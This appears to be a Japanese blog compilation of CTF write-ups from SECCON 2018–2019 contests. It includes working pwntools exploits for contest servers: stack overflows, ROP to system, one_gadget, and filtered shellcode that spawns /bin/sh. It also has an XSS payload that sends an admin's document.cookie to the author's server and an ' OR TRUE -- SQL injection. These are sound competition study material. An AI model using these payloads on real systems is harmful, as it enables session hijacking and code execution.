SECCON Beginners CTF 2019 writeup
SECCON Beginners CTF 2019
yharima で参加.誰もいないかと思ってたら後輩二人が参加してくれたので3人で.
チームは 3415 pts の 11th, 個人は 2363 pts の 19th. なぜ10位以内に入れないのか….
[warmup] Welcome
IRC 繋ぎに行くだけ.
ctf4b{welcome_to_seccon_beginners_ctf}
memo
最初これが Pwn の warmup だったと思うんだけど途中で変わった…?
入力の長さを受け取って,そのあとその入力を受け付けるだけのプログラム.
objdump すると hidden
という関数があって EIP 奪ってこいつに飛ばせば勝ちっぽい.
入力は 0x1f
と比較しているので 32 以上を入れないとだめっぽい.
動かしていくと長さ調整すると書き込みスタックのアドレスが変動していくのが観測できた(ローカル GDB 環境).
32: 0x7fffffffe430 =>0x7fffffffe400 64: 0x7fffffffe430 => 0x7fffffffe3e0
戻りアドレスが 0x7fffffffe480
においてあるのでそのように長さを調整すれば良いかと思ったが,
増やしていくと遠ざかっていく.負の長さ入れたらどうなるんだろうと思ったら通ってしまい,スタックの位置が調整できた.
あとは長さを GDB で確認して調整しつつ hidden に飛ばしてあげればいい.
ただ,自分は hidden の先頭アドレスだとローカルでは上がるがリモートでは上がらなかったので,適当にずらしたら動いた.スタックでも壊れてたんだろうか?
from pwn import * context.arch = 'amd64' con = remote('133.242.68.223', 35285) con.recvregex('Input size :') con.sendline('-96') con.recvregex('Input Content :') payload = pack(0x4007c1) * 4 con.sendline(payload) con.recvline() con.interactive()
上記を実行すると以下のような感じでフラグがとれる.
(CTF) mbp:CTF yuta1024$ python memo.py [+] Opening connection to 133.242.68.223 on port 35285: Done [*] Switching to interactive mode $ ls -l total 16 -rw-r----- 1 root memo 27 May 19 11:00 flag.txt -rwxr-x--- 1 root memo 8632 May 22 16:13 memo $ cat flag.txt ctf4b{h4ckn3y3d_574ck_b0f} $ [*] Interrupted [*] Closed connection to 133.242.68.223 port 35285
[warmup] Seccompare
動かすと flag を引数にとって動かすらしい.
objdump してみると以下のように露骨にフラグっぽいものが.
400630: c6 45 d0 63 mov BYTE PTR [rbp-0x30],0x63 400634: c6 45 d1 74 mov BYTE PTR [rbp-0x2f],0x74 (snip) 40069c: c6 45 eb 7d mov BYTE PTR [rbp-0x15],0x7d 4006a0: c6 45 ec 00 mov BYTE PTR [rbp-0x14],0x0
以下のワンラインナーで適当に処理した.
$ objdump -M intel -d seccompare | grep "mov BYTE PTR \[rbp-" | awk -F ',' '{print $2}' | xargs -I% perl -e 'print chr(%)' ctf4b{5tr1ngs_1s_n0t_en0ugh}
[warmup] shellcoder
シェルコードを食わして実行してくれるプログラム.
ただし,制限として "b", "i", "n", "s", "h" が禁止でペイロード長は 0x28 まで.
禁止文字列は基本シェルコードの "//bin/sh" を push するところが問題になるだけなのでそこを4で割ったものを push して後続で調整してあげる方針に(2で割ると偶然禁止文字列にあたってしまうため).
以下のようなシェルコードを書いて動作を確認.
.intel_syntax noprefix .globl _start _start: xor rdx, rdx push rdx mov rax, 0x1a1ccbcbdb9a588b shl rax, 0x02 or rax, 0x0f push rax mov rdi, rsp push rdx push rdi mov rsi, rsp lea rax, [rdx+59] syscall
4倍するより2bit 左 shift するほうが命令列が少ない.末尾は 0xf なので add してもよかったがこれも節約のため 0x0f と or することにした.
これをコンパイルして16進数にしたら,あとはサーバに投げれば以下のようにフラグが取れる.
from pwn import * context.arch = 'amd64' con = remote('153.120.129.186', 20000) shellcode = "\x48\x31\xd2\x52\x48\xb8\x8b\x58\x9a\xdb\xcb\xcb\x1c\x1a\x48\xc1\xe0\x02\x48\x83\xc8\x0f\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05" con.recvline() con.sendline(shellcode) con.interactive()
実行結果は以下.
(CTF) mbp:CTF yuta1024$ python shellcoder.py [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
Sliding puzzle
スライドパズルを解くだけのゲーム.
Python でこういうの書くの苦手なので solver は C++ で書いて通信部分だけ Python というキモい構成.
久々に C++ 書いて実装力の低下を感じた.30分ちょっとかかった気がする.
#include <iostream> #include <fstream> #include <vector> #include <queue> #include <set> using namespace std; const int SIZE = 3; const int dx[] = {0, 1, 0, -1}; const int dy[] = {-1, 0, 1, 0}; const int dm[] = {0, 1, 2, 3}; class State { public: int pos; vector<vector<int> > p; vector<int> move; State(int pos, vector<vector<int> > p, vector<int> move) { this->pos = pos; this->p = p; this->move = move; } }; bool validate(const vector<vector<int> >& p) { int prev = -1; for (int i = 0; i < SIZE; ++i) { for (int j = 0; j < SIZE; ++j) { if (prev > p[i][j]) { return false; } prev = p[i][j]; } } return true; } vector<int> solve(const vector<vector<int> >& p, int pos) { queue<State> q; q.push(State(pos, p, vector<int>())); set<vector<vector<int> > > visited; while (!q.empty()) { const State s = q.front(); q.pop(); visited.insert(s.p); if (validate(s.p)) { return s.move; } for (int d = 0; d < 4; ++d) { int xx = s.pos % SIZE + dx[d]; int yy = s.pos / SIZE + dy[d]; if (xx < 0 || xx >= SIZE || yy < 0 || yy >= SIZE) { continue; } vector<vector<int> > pp = s.p; swap(pp[s.pos / SIZE][s.pos % SIZE], pp[yy][xx]); if (visited.find(pp) == visited.end()) { vector<int> mm = s.move; mm.push_back(dm[d]); int new_pos = yy * SIZE + xx; q.push(State(new_pos, pp, mm)); } } } } int main() { int pos = -1; vector<vector<int> > p(SIZE, vector<int>(SIZE)); ifstream ifs("in.txt"); cin.rdbuf(ifs.rdbuf()); for (int i = 0; i < SIZE; ++i) { for (int j = 0; j < SIZE; ++j) { cin >> p[i][j]; if (p[i][j] == 0) { pos = i * SIZE + j; } } } vector<int> ans = solve(p, pos); for (int i = 0; i < ans.size(); ++i) { cout << ans[i] << " "; } cout << endl; return 0; }
これをコンパイルして,以下の Python プログラムで処理する.
from pwn import * import subprocess import sys con = remote('133.242.50.201', 24912) for i in range(1000): print con.recvline() l1 = con.recvline().split(' ') print l1 l2 = con.recvline().split(' ') print l2 l3 = con.recvline().split(' ') print l3 print con.recvline() print con.recvline() p = [ l1[1], l1[3], l1[5], l2[1], l2[3], l2[5], l3[1], l3[3], l3[5], ] print p with open('./in.txt', mode='w') as f: f.write(' '.join(p)) res = subprocess.check_output("./a.out") con.sendline(','.join(res.strip().split(' ')))
何問あるかわからんかったので適当に 1000. 100 だとだめだった気がする.
これを実行するとフラグが取れる.
ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
Dump
ダウンロードして file してみると pcap であることがわかる.
Wireshark で開くと HTTP 通信がある.どうやら webshell が置いてあってフラグを引っこ抜いてるらしい.
hexdump -e '16/1 "%02.3o " "\n"' /home/ctf4b/flag
のリクエストの応答を抜いてくればよさそう.
ただし,8進数に変換されているので適当にプログラムを書いてゴニョゴニョしてバイナリとして書き出す.
なにかいい方法があるんだろうけど,よくわからんかったので力技でゴミスクリプト書いた(恥ずかしいので載せない).
結局は zip ファイルなので解凍すると jpeg 画像がでてきてその中にフラグが書いてある.
ctf4b{hexdump_is_very_useful
Leakage
パッと見て angr かけたらいけそうと思って以下のどっかで書いた(Google CTF のどれかで angr のサンプルにあったはず)コードを流用して終わり.
import angr import claripy proj = angr.Project('./leakage', load_options={"auto_load_libs": False}) input_size = 0x22 # 4005ff argv1 = claripy.BVS("argv1", input_size * 8) initial_state = proj.factory.entry_state(args=["./leakage", argv1], add_options={angr.options.LAZY_SOLVES}) initial_state.libc.buf_symbolic_bytes=input_size + 1 for byte in argv1.chop(8): initial_state.add_constraints(byte != '\x00') # null initial_state.add_constraints(byte >= ' ') # '\x20' initial_state.add_constraints(byte <= '~') # '\x7e' sm = proj.factory.simgr(initial_state) sm.explore(find=0x4006ae, avoid=0x4006bc) found = sm.found[0] solution = found.se.eval(argv1, cast_to=str) solution = solution[:solution.find("}")+1] print solution
適当に待ってるとフラグが出る.
ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation
これも angr に流すだけのゲームだった.以下のサイトを参考に変更しないといけないところだけ変えた.
angrでシンボリック実行をやってみる - ももいろテクノロジー
import angr p = angr.Project('./linear_operation', load_options={'auto_load_libs': False}) addr_main = 0x40cee1 addr_succeeded = 0x40cf78 addr_failed = 0x40cf86 print "main = %x" % addr_main print "succeeded = %x" % addr_succeeded print "failed = %x" % addr_failed initial_state = p.factory.blank_state(addr=addr_main) initial_path = p.factory.path(initial_state) pg = p.factory.path_group(initial_path) e = pg.explore(find=(addr_succeeded,), avoid=(addr_failed,)) if len(e.found) > 0: print 'Dump stdin at succeeded():' s = e.found[0].state print "%r" % s.posix.dumps(0)
これもしばらく待ってるとフラグが出る.
ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
OneLine
今回一番苦労した問題.もう二度と one-gadget のことは忘れない.
スタック問題ではなく heap が 40 byte 確保されそこに読み書きしている.
そしてなぜかその heap の末尾にリンクされた libc の write のアドレスが書き込まれている.
実行してみるとわかるが,1回目の入力ときに A
だけとか入力するとなにか怪しい文字列が表示される.
You can input text here! >> A A ����Once more again!
まず A
と入力して write のアドレスを拾って,付属されている libc の write の offset を確認して libc base アドレスをリークする.
これで2回目は 32 byte 書き込んだあと,特定のアドレスを書き込むことで libc 内の任意の命令を呼び出せるようになるので,もう勝ったな….という気持ちになってから約5時間溶かしました.
迷走した内容は libc 内の system を呼べばいいが rdi が 1 固定で ROP gadget つんでなんとかするのか,でもスタックがががが,みたいな泥沼です.
結局途中で Linear Operation
なども見つつ調べていたら偶然 one-gadget なるものを知った.
one-gadget は libc 内にあってその命令に飛ばすとシェルがあがる一連の gadget 列らしい.なんだその便利なものは….
ということで以下を使って付属の libc を探索してみた.
GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6
結果は以下のような感じ.
$ one_gadget ./libc-2.27.so 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
制限があるが, 2つ目は NULL になりそうだなあとおもって採用したらいけた.
from pwn import * context.arch = 'amd64' con = remote('153.120.129.186', 10000) write_offset = 0x110140 system_offset = 0x04f440 con.recvregex('>> ') con.sendline('A') msg = con.recvregex('>> ') libc_base_addr = unpack(msg[32:40]) - write_offset print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40]) payload = 'A' * 32 payload += pack(libc_base_addr + 0x4f322) # one gadget con.sendline(payload) con.interactive()
実行すると以下のようにフラグをとれる.
(CTF) mbp:CTF yuta1024$ python oneline.py [+] Opening connection to 153.120.129.186 on port 10000: Done [*] libc_base_addr = 0x7f91c347e140 [*] Switching to interactive mode $ ls -l total 16 -rw-r----- 1 root oneline 34 May 22 15:59 flag.txt -rwxr-x--- 1 root oneline 8624 May 22 15:59 oneline $ cat flag.txt ctf4b{0v3rwr!t3_Func7!on_p0int3r}
Himitsu
後輩がやってて,ちょっと見てたんだけど Pwn で時間溶かしててあまりみれてなかった問題.
最終的に寝てるときに解法が降ってきてそのとおりにやったら解けた.
[#記事ID#]
みたいにやると他の記事を読み込める.でもその記事がすでに <script>
とか含んでると死ぬ(正確には <
とかだけど).
後輩が同時にやったら回避できそうだけど同じタイトルだとエラーになるから無理,みたいな話をしていた.
先に未来の記事 ID を投稿しておいて,その時間になったらスクリプト仕込んだ記事を投稿すると,でクリアできる.
記事 ID 自体は単純に以下のようなロジックで生成されている(タイムゾーンは Asia/Tokyo になってるので注意).
$created_at = date("Y/m/d H:i"); $article_key = md5($username . $created_at . $title)
user は同じなので分までの時間とタイトルさえわかれば予測可能.
以下のような PHP スクリプトを書いて先に未来の記事 ID を予測して投稿する.
(snip になってるのは適当に自身のサーバアドレスとかいれてください)
<?php date_default_timezone_set("Asia/Tokyo"); $username = "foofoo"; $title = "<script>location.href = 'http://<snip>/?' + document.cookie;</script>"; $created_at = date("2019/05/26 04:37"); $article_key = md5($username . $created_at . $title); var_dump($article_key);
該当時間になったら(上記の場合だと 4:37 になったら)以下の記事を投稿する.
<script>location.href = 'http://<snip>/?' + document.cookie;</script>
するとサーバに以下のようなリクエストがきて admin の セッション ID を抜ける.
xxx.xxx.xxx.xxx - - [25/May/2019:19:37:20 +0000] "GET /?PHPSESSID=029711d08a7b6b3254b4028959f25d5d HTTP/1.1" 200 3520 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.157 Safari/537.36" "-"
あとはこのセッション ID をセットして開くとフラグが書かれた記事がみれる.
まとめ
それなりに解けたが,10位以内に入りたかったなあ….Pwn も全部解きたかったなあ…. いろいろ勉強が足りないところがわかったので,頑張っていきたい.あんまり時間ないけど….
追記1
追記2
チームメンバーの writeup を貼っておきます.
SECCON 令和CTF writeup
SECCON 令和CTF writeup
個人参加限定なので個人で.510 pts で12位でした.
フラグ例は?
warmup で入れるだけ.
SECCON{reiwa}
bREInWAck
brainf*ck なのは明らか.
それぞれの文字をどれに置き換えるかを全通り試す?と考えるも,文字頻度から推測できそう.
まず 。
は .
だろう.出力的にラストだし.あと「
は [
で 」
は ]
っぽい,形的にも.
あとは 令
和
平
成
だけど 令
は開幕現れてるので >
っぽいし, 和
はそのあと連続してるので +
っぽい.
この法則でいくと 平
は <
だし 成
は -
だとエスパーして置換して適当なインタプリンタへ Go.
>++++++++++++++++[>+ ++++>++++>+++++++>++ ++++>++<<<<<-]>+++.> +++++.--..<----.-.>> +++++++++++.>++.<<<+ +++.>++.++++.>>+++++ +++++++.<<<+++++++++ ++++.--------.>----- ---.>>.-----.------. >+.<<++.>>>+++++++++ +.
エスパー成功した. SECCON{bREIn_WAnic!}
零は?
よくある方程式を解く問題.後輩から承諾 CTF で送りつけらたことがあってサクッとコードを書いた.
方程式は sympy
で解く.ただそもそも ? = 0
のケースがあって死ぬっぽくそこは例外処理した.
(末尾のやるきない print は何行くるかわからなかったので適当)
from pwn import * from sympy import * x = Symbol('x') con = remote('zerois-o-reiwa.seccon.jp', 23615) for i in range(100): con.recvline() expr = con.recvline().replace("?", "x") print(i, expr) tmp = solve(Eq(eval(expr[2:-1]),0)) if len(tmp) == 0: ans = 0 else: ans = tmp[0] con.sendline(str(ans)) print con.recvline() print con.recvline() print con.recvline() print con.recvline() print con.recvline() print con.recvline()
100 問解けば良い素直(後輩のは Stage 2 があった).
SECCON{REIWA_is_not_ZERO_IS}
新元号発表
PDF 開くと QR が隠れてて読めない. LibraOffice で開いて上に重なっているやつをどかす.
そのまま読もうとするが読めない. 令和
の形で抜かれてる部分がたりなさそう.
復元か?とおもって画像ひっぱったらなんか裏に 令和
の形で抜かれた QR の部分コードが.
フロントにもってきて,でかい QR コードの 令和
の形で抜かれたところに移動して位置を微調整しながら以下のアプリで読んだ.
「QRコードリーダー for iPhone」をApp Storeで
SECCON{overlay_overlap_overera}
和暦の流れ
バリナリ読んでみると 0x804878f
あたりから入力された文字を1文字づつ cmp していることがわかる.
ざっと眺めてみると SHOWA
をベースになんかゴニョゴニョして比較してる.入力は5文字.
適当な文字を入れて cmp あたりに BP 貼ってレジスタみてると1文字目は R であるらしい.
REIWA じゃないんか…と思ったけど違う.3文字目くらいまで適当に入れてあててみると RAY
であることがわかった.
これってもしかして REIWA をそれっぽく読める感じのものを入れればいいのか…?とおもって RAYWA
を入れると正解.
次が Old era らしいが,どうせ HEYSAY
とかそういう感じだろうと予想して入れると通った.
SECCON{M-T-S-H-R}
reiwaVote
Web だし, SQLi とかじゃろ…と思っていろいろやるもうまくいかない.
登録時に '
を入れてみるとなんかログイン時にバグることがわかった.どうも syntax error でパスワードの MD5 が出ているみたい.
'''
とかしてもだめ.登録されているユーザチェックが走るっぽくまず登録されていることが前提.
とはいえ,ログイン時のパスワードのハッシュ値なんか見えてもなんの意味もない.
ということはこれは登録時になんらかの SQLi ぶっこめば,別ユーザでログインできるみたいななにかなのではと予想する.
適当にユーザ名に誰でもログインできそうな SQLi ぶっこんでみるかーと思い, ' OR TRUE --
で登録.
その ID でログインしているみると見事 shinzo
になれた.令和に投票して結果をみると1位になった.スーパーユーザーかなにか? あとは投票を閉め切れば以下のフラグが出た.歴史を守った!
SECCON{e32afd2cf7b98e41cf70fed}
まとめ
なんか意外と調子よく解けて良かった.
平成最後かつ令和最初の CTF でなかなか良かったので,新元号時代も頑張っていきたい.
2018年運用成績 & おまけ
概要
方針と去年の結果は以下. yuta1024.hateblo.jp
投資信託でも最近は商品が増えてきたので, S&P500 か VTI かを入れてみても良いのかなあと考えはじめた.
結果
12月中旬くらいからすごい勢いで溶けましたね….
おまけ
X は遠いですね….
SECCON CTF 2018 国内決勝 writeup
SECCON CTF 2018 国内決勝 writeup
yharima
チームで参加. 1141 pts で 7位でした.
はじめての国内決勝だったので緊張しまくりでしたが,結構頑張れたと思いたい.
松島
ポーカーをする問題で,フルハウス以上を出すと 100pts, フォーカード以上を出すと 300?400?pts もらえる.
フォーカード以上出すと,デフェンスキーワードも入れれるようになる.
開幕問題が空いてなくてやっていなかったが,空いてからはわりかしすぐに着手しはじめた.
問題のバイナリ見てたら,メンバーがもうフルハウス出た,とかいっていて笑っていた.
解析していくと結局は rand 叩いていて seed は time に依存しているっぽいことがわかった.
time を hook して未来予測していけばいいのか,と思ったがめんどくさそう.
よくよく考えるとローカルの時間変えて実行すればいいのでは,と思い調べてみると date コマンドでできるっぽいことがわかった.
一度適当にプレイしてみて,その時間のカードとローカルでプレイした時間に差し替えたものとを比較してみると完全に一致した.
$ sudo date -s "12/23 03:38:42 2018" && ./generate_random_hands Sun Dec 23 03:38:42 UTC 2018 {"game_id":(null),"deck":[19,28,18,37,22,24,42,23,44,5],"max_score":3195}
というわけで,この方法でいけると思い以下のスクリプトを書いて判定していった(shell + node という謎の組み合わせ).
$ cat a.js const arg = process.argv[2]; const s = arg.indexOf('['); const e = arg.indexOf(']'); x = eval(arg.substring(s, e+1)) ans = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; x.forEach((e) => { ans[Math.floor(e/4)] = ans[Math.floor(e/4)] + 1; }); ans.forEach((e, i) => { if (e == 4) { console.log("OK:" + i); } });
$ cat poker.sh #/bin/sh for m in {20..59}; do for s in {0..59}; do t="12/23 04:${m}:${s} 2018" echo $t sudo date -s "${t}" >/dev/null && ./generate_random_hands | xargs node a.js done done
ただ,なぜかフォーカードが出てもフルハウスのときのフラグしかでなくて,うーんうーん言っていたら,メンバーに聞いてこいと言われたのでおとなしく運営に聞きに行った.
説明が悪かったのかうまく伝わらなかったけどフォーカード出してる画面をみせると,納得してもらえて調べてもらうことになった.
結果,カードを変えてフォーカードより強くなるケースがあるとフォーカードでも駄目,ということでアナウンス + ルール追記されること.
(max_score
の値によってどうこうみたいな話だったが,解析する時間よりフォーカード片っ端から入れたほうが早そうと思ってそうした.)
マジかーという気持ちになりながらスクリプト叩きまくって最終的に以下の時間の結果でフラグを得ることができた.
$ sudo date -s "12/23 04:38:0 2018" >/dev/null && ./generate_random_hands {"game_id":(null),"deck":[2,47,46,16,51,45,0,44,39,48],"max_score":23}
天橋立
任意の html ページを上げ, GET の parameter によって alert('XSS')
が発火すれば良い,みたいな問題(説明へたですみません).
どうも40分で問題コンセプトを破壊してしまったようで,罪悪感があり申し訳ない気持ちになりました.なんかすみません.
最初,全然意味がわからなくてチームメンバーに詳しく教えてもらってなんとか理解した.
jjencode 的なことすればいいかと思ったけど,バイト数制限もあって厳しいなーと思った次のタイミングで,
SHA256 前の値を parameter にとって,それがハードコードしてある SHA-256 と一致すれば alert('XSS')
が発火 するようにすればいいのでは?と思い至る.
適当に SHA-256 の実装をもってきて送りつけると全然解かれない(当たり前).
ただ,問題をよく理解してなくて title にデフェンスキーワード入れないとだめだったのに test
とかしていてディフェンスポイントをかなり無駄にしていたっぽい.
気がつけばハッシュ値が変えただけのまったく同じ実装がアップロードされはじめて,これはもったいないことをしてしまったと頭を抱えていました.
以下,うちのチームの答え.
おまけ
最後のほうにやることがなくなっていくつか問題をみていると Team Enu
の問題が SHA-256 じゃなくて解けそうだったのと,
その時点でうちのチームより1つ上だったので,頑張って剥がしてみようと思い解析をはじめた.
わりと適当な感じで解析を進めると k
で parameter を分割して前の部分はそのまま,後ろの部分は base64 で encode されたものを decode してから利用する.
あとはなんか色々な前処理をしたあと xor してペイロードを組み立てて eval して発火させる,という仕組み.
かなり辛い感じで色々ミスったんですが,頑張って解析して最終的に以下のペイロードをぶちこむことで撃墜できた(?
はいらなかった).
aaaaaaaaaaaakcdD9bDbxohN9PooO
本来の問題のコンセプトはこういうことで,非常に面白かっただけに SHA-256 ゲーにしてしまった自分がちょっとアレだなという気持ちに….
なお Team Enu の解いた5分後くらいには SHA-256 の問題になってて「はい」ってなりました(笑).
(頑張ったので,この思い Team Enu の人に届くといいな.)
撃墜したらその問題でゲットしてたデフェンスポイントがもらえる仕組みとかだったら嬉しかったのかもしれない.
とはいえ SHA-256 問題がアレなのでそこをどうにかしないと厳しいのですが….
宮島
出された問題を満たす関数を指定バイト数以内のアセンブラで書く問題.いわゆるアセンブラゴルフ.
いくつか手を出していたが, dodododo が強すぎてまじで無理ゲーだ…となっていました.
基本的にメンバーが解いてくれていたので自分はあんまり手を出していません.
アセンブラ短歌の本買って出直します.
懇親会(追記)
お風呂に入る気持ちが強くて書き忘れていた.
社会性がないので他チームと交流できず,メンバーと話していたら insecure チームの方々が話かけてきてくれて色々話せた.ありがとうございます.
色々問題について話せたりできた良かったです!またどこかでお会いできたらよろしくおねがいします.
まとめ
初の国内決勝にでれてうれしかったです. yharima
チームとしても,個人としても一つの区切りを迎えれたのかなと思う.
まだまだ精進しないと駄目ですね….特にバイナリ.
色々と思うところもありますが,自分は SECCON 国内決勝に出ることを1つの目標として頑張ってきたので,来年以降も開催されることを願っております.
なくなってしまうと,そういうモチベーションを失ってしまう人が自分以外にもいるかもしれませんので.
運営のみなさま,ありがとうございました & お疲れ様でした.そしてなんかごめんなさい.
他のメンバーの writeup
SECCON CTF 2018 QUALS writeup
SECCON CTF 2018 QUALS writeup
yharima
チームで参加.2535 pts で 28th でした.過去最高順位.
もしかしたら国内予選もワンちゃんあるのかもしれない…?
今回から後輩2名が参加して,6人体制だった.
Classic Pwn
よくあるスタックの BOF があり, EIP を奪って libc をリークしてシェルを立ち上げる問題.
何故かチームの誰も解いていなかった & 一応 pwn 担当なので自分が解いた.
ひとまず A
とかで埋め尽くすと EIP がとれることは確認.
また puts@plt などもあるので, GOT のアドレスもわかるので libc の base addr も計算できる.
また pop rdi
の gadget もあるので,1回目は pop rdi
=> puts@got
=> puts@plt
として libc のアドレスをリークさせる.
リークさせたあと,そのアドレスを使って system 関数のアドレスを計算する必要がある.
よくある手法だと stack piviot して bss などに任意のペイロード流して実行される,的な感じだけど,
今回は別に main に飛ばしてもっかい同じことをやれば良い.
なので,1回目は pop rdi
=> puts@got
=> puts@plt
=> main
として,
2回目は pop rdi
=> /bin/sh addr
=> system
とすれば良い.
(CTF) mbp:CTF yuta1024$ python classic_pwn.py [+] Opening connection to classic.pwn.seccon.jp on port 17354: Done [-] libc_base_addr = 0x7f1366771000 [*] Switching to interactive mode Have a nice pwn!! $ ls -l total 16 -rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic -rw-r----- 1 root classic 44 Oct 23 02:37 flag.txt $ cat flag.txt SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}
from pwn import * context.arch = 'amd64' con = remote('classic.pwn.seccon.jp', 17354) con.recvline() con.recvregex('Local Buffer >> ') payload = 'A' * 72 payload += pack(0x00400753) # pop rdi payload += pack(0x00601018) # puts@got payload += pack(0x00400520) # puts@plt payload += pack(0x004006a9) # main con.sendline(payload) con.recvline() msg = con.recvline().strip() libc_base_addr = unpack(msg + '\x00' * 2) - 0x6f690 print "[-] libc_base_addr = 0x%x" % libc_base_addr con.recvline() con.recvregex('Local Buffer >> ') payload = 'A' * 72 payload += pack(0x00400753) # pop rdi payload += pack(libc_base_addr + 0x18cd57) # /bin/sh payload += pack(libc_base_addr + 0x45390) # system con.sendline(payload) con.interactive()
Boguscrypt
実行してみるとどうも gethostbyaddr
に失敗して終了してしまう.
バイナリを読んでみると,以下のように 0x200007f を INET_AF で解決しようとしている.
0x080486b9 <+60>: mov DWORD PTR [esp+0x10],0x200007f 0x080486c1 <+68>: mov DWORD PTR [esp+0x8],0x2 0x080486c9 <+76>: mov DWORD PTR [esp+0x4],0x4 0x080486d1 <+84>: lea eax,[esp+0x10] 0x080486d5 <+88>: mov DWORD PTR [esp],eax 0x080486d8 <+91>: call 0x80484c0 <gethostbyaddr@plt>
途中まで読み間違えていたが,これは 127.0.0.2
の逆引きをしている.
当然 127.0.02
なんで引けないので,ひとまず localhost
がかえるように /etc/hosts
に追記して実行すると,
うまく動作して flag.txt
が吐かれる.しかしぐちゃぐちゃになってて何かおかしい.
キーを求められるのでそこかと思ったが,異なるキーをいれても結果は同じになった.
ということは, 127.0.0.2
の結果によるものだと思い,同封されている pcap を読む.
127.0.0.2 の解決をしているパケットがあり, cur10us4ndl0ngh0stn4m3
らしいので,これを /etc/hosts
に書いて実行するとフラグとなる.
SECCON{This flag is encoded by bogus routine}
History
なぜか解かれていなかったのでサクっとやった.
降ってきたファイルを file するとただの data だったので hexdump する.
$ hexdump -C J | head -10 00000000 60 00 00 00 02 00 00 00 55 ed 00 00 00 00 23 00 |`.......U.....#.| 00000010 61 08 00 00 00 00 01 00 d0 73 3f 01 00 00 00 00 |a........s?.....| 00000020 a4 df f6 d3 62 49 d1 01 00 01 00 00 00 00 00 00 |....bI..........| 00000030 00 00 00 00 20 00 00 00 22 00 3c 00 6e 00 67 00 |.... ...".<.n.g.| 00000040 65 00 6e 00 5f 00 73 00 65 00 72 00 76 00 69 00 |e.n._.s.e.r.v.i.| 00000050 63 00 65 00 2e 00 6c 00 6f 00 63 00 6b 00 00 00 |c.e...l.o.c.k...| 00000060 60 00 00 00 02 00 00 00 a7 56 00 00 00 00 01 00 |`........V......| 00000070 61 08 00 00 00 00 01 00 30 74 3f 01 00 00 00 00 |a.......0t?.....| 00000080 a4 df f6 d3 62 49 d1 01 02 00 00 00 00 00 00 00 |....bI..........| 00000090 00 00 00 00 20 00 00 00 20 00 3c 00 6e 00 67 00 |.... ... .<.n.g.|
ngen_service
なる怪しそうな文字列があるのでググると以下の volatility のプラグインが見つかる.
volatility/usnparser at master · tomspencer/volatility · GitHub
これっぽいので,使い方をしらべて実行すると大量にでる.
$ python vol.py --profile Win7SP1x64 -f ../../J usnparser --output=csv -CS > out-j.txt
なんか RENAME したやつが怪しいという話だったので csv に吐き出したファイルからそのあたりをawk/ grep すると,
"SEC.txt" RENAME_OLD_NAME "CON{.txt" RENAME_NEW_NAME "CON{.txt" RENAME_NEW_NAME & CLOSE "CON{.txt" RENAME_OLD_NAME "F0r.txt" RENAME_NEW_NAME "F0r.txt" RENAME_NEW_NAME & CLOSE "WmiApRpl_new.h" RENAME_OLD_NAME "WmiApRpl.h" RENAME_NEW_NAME "WmiApRpl.h" RENAME_NEW_NAME & CLOSE "WmiApRpl_new.ini" RENAME_OLD_NAME "WmiApRpl.ini" RENAME_NEW_NAME "WmiApRpl.ini" RENAME_NEW_NAME & CLOSE "F0r.txt" RENAME_OLD_NAME "ensic.txt" RENAME_NEW_NAME "ensic.txt" RENAME_NEW_NAME & CLOSE "ensic.txt" RENAME_OLD_NAME "s.txt" RENAME_NEW_NAME "s.txt" RENAME_NEW_NAME & CLOSE "s.txt" RENAME_OLD_NAME "_usnjrnl.txt" RENAME_NEW_NAME "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE "_usnjrnl.txt" RENAME_OLD_NAME "2018}.txt" RENAME_NEW_NAME "2018}.txt" RENAME_NEW_NAME & CLOSE
とフラグっぽいものが出てきた.同じファイルの名前が変化しているよ思われるのでそのように awk/grepすると,
0xecfaL "SEC.txt" RENAME_OLD_NAME 0xecfaL "CON{.txt" RENAME_NEW_NAME 0xecfaL "CON{.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "CON{.txt" RENAME_OLD_NAME 0xecfaL "F0r.txt" RENAME_NEW_NAME 0xecfaL "F0r.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "F0r.txt" RENAME_OLD_NAME 0xecfaL "ensic.txt" RENAME_NEW_NAME 0xecfaL "ensic.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "ensic.txt" RENAME_OLD_NAME 0xecfaL "s.txt" RENAME_NEW_NAME 0xecfaL "s.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "s.txt" RENAME_OLD_NAME 0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME 0xecfaL "_usnjrnl.txt" RENAME_NEW_NAME & CLOSE 0xecfaL "_usnjrnl.txt" RENAME_OLD_NAME 0xecfaL "2018}.txt" RENAME_NEW_NAME 0xecfaL "2018}.txt" RENAME_NEW_NAME & CLOSE
なので, SECCON{F0rensics_usnjrnl2018}
がフラグ.
mnemonic
最初はまったくわからない.文字コード?とか思って色々調べてみるのさっぱりだめ.
後輩二人が mnemonic だから…という話をしていてふと,そういえばニーモニックなのかと思う.
最近 Monacoin のウォレットを作ったときに,問題のひらがな複数から何か生成するみたいなのがあったな…と思い当たる.
bip39 とかなんかそんな感じだったかとおもって bip39 のワードリストを漁り,問題のひらがなが含まれるか調べてみると何個かいれて全部ヒットした.
ということはこれかもと思い,問題のすでにハッシュ値がわかっているやつからハッシュ値を生成してみると…
